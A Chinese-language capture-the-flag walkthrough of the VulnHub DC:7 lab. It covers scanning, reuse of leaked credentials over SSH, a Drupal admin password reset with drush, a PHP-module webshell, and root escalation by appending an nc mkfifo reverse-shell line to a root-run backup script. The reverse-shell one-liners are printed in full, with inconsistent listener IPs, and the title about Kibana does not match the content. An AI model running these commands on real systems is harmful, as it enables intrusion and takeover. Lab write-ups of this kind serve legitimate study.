安裝es視覺化軟體Kibana
準備工作
在vulnhub官網下載DC:7靶機DC: 7 ~ VulnHub
靶機匯入VMware 網路介面卡改為NAT模式
靶機IP為 192.168.1.16
資訊收集
nmap -A -T4 -sV -p - 192.168.1.16 對目標進行掃描
開放了22、80埠。訪問80埠發現是Drupal的CMS
進行目錄掃描
dirsearch -u http://192.168.1.16
沒有發現什麼有用的線索
觀察頁面發現作者資訊
然後就在GitHub上找到了原始碼
Drush
可以看到我們獲取到了資料庫的使用者名稱和密碼,嘗試遠端連線資料庫
mysql -h 192.168.1.16 -u dc7user -p MdR3xOgB7#dW
失敗了
嘗試使用ssh
成功 並且可以看到有一封郵件,我們進去mail檔案檢視
看內容是通過這個指令碼/opt/scripts/backups.sh將資料庫自動備份到/home/dc7user/backups/website.sql,這個指令碼還是root許可權
在這個指令碼中發現了 Drush命令
Drush是Drupal的命令列shell和Unix指令碼介面。Drush Core附帶了許多有用的命令,可用於與模組/主題/配置檔案等程式碼進行互動。gpg是加密的命令
查了一下drush命令可以修改密碼,但是使用drush命令的時候要先切換到網站原始碼所在的目錄,不然會報錯
進入網站目錄/var/www/html。用drush命令將admin的密碼改成admin
drush user-password admin --password=``"admin"``
成功登入到後臺 尋找可以利用的點
記得前面的靶機中,drupal有個模組可以執行php程式碼來著。
尋找cms中模組安裝功能在哪,百度尋找該cms存在漏洞的功能模組等,嘗試安裝存在漏洞的功能模組/主題/外掛,最後通過其漏洞實現侵入。
進入後臺發現這裡可以編輯頁面,那就可以寫一句話木馬,但是查到drupal8不支援php程式碼,查詢資料發現需要匯入一個模組
模組地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 輸入直接安裝
選第二個選項,拉到下面將PHPFiter勾選,再拉到底部安裝
然後回到剛剛編輯首頁,可以看到有php的選項了,插入一句話程式碼
使用蟻劍連線並反彈shell
使用python反彈shell
python -c 'import pty;pty.spawn("/bin/bash")'
許可權提升
然後翻閱別人的文章,抄過來一條命令
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.16 4444 >/tmp/f" >> backups.sh
rm /tmp/f;
mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f
rm /tmp/f 刪除該檔案(以免跟後面定義的 管道符 衝突)
mkfifo /tmp/f 這是建立自定義有名管道符。管道符的名稱是 /tmp/f (用於程序間的通訊, 如 ls > /tmp/f ,cat /tmp/f ,連通兩個程序之間的通訊)
cat /tmp/f 取出管道符中的內容, |/bin/sh -i 2>&1 將前面取出的內容作為 輸入 ,輸入給 /bin/sh ,再將bash 的標準錯誤輸出 也作為標準輸入 (2 >&1)給bash ,然後再將bash的輸出,傳給nc 遠端,再將nc 傳來的資料,寫入 管道符 /tmp/f 。最後首尾接通了。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.16 1234 >/tmp/f" >> backups.sh
然後監聽1234埠即可
成功獲得flag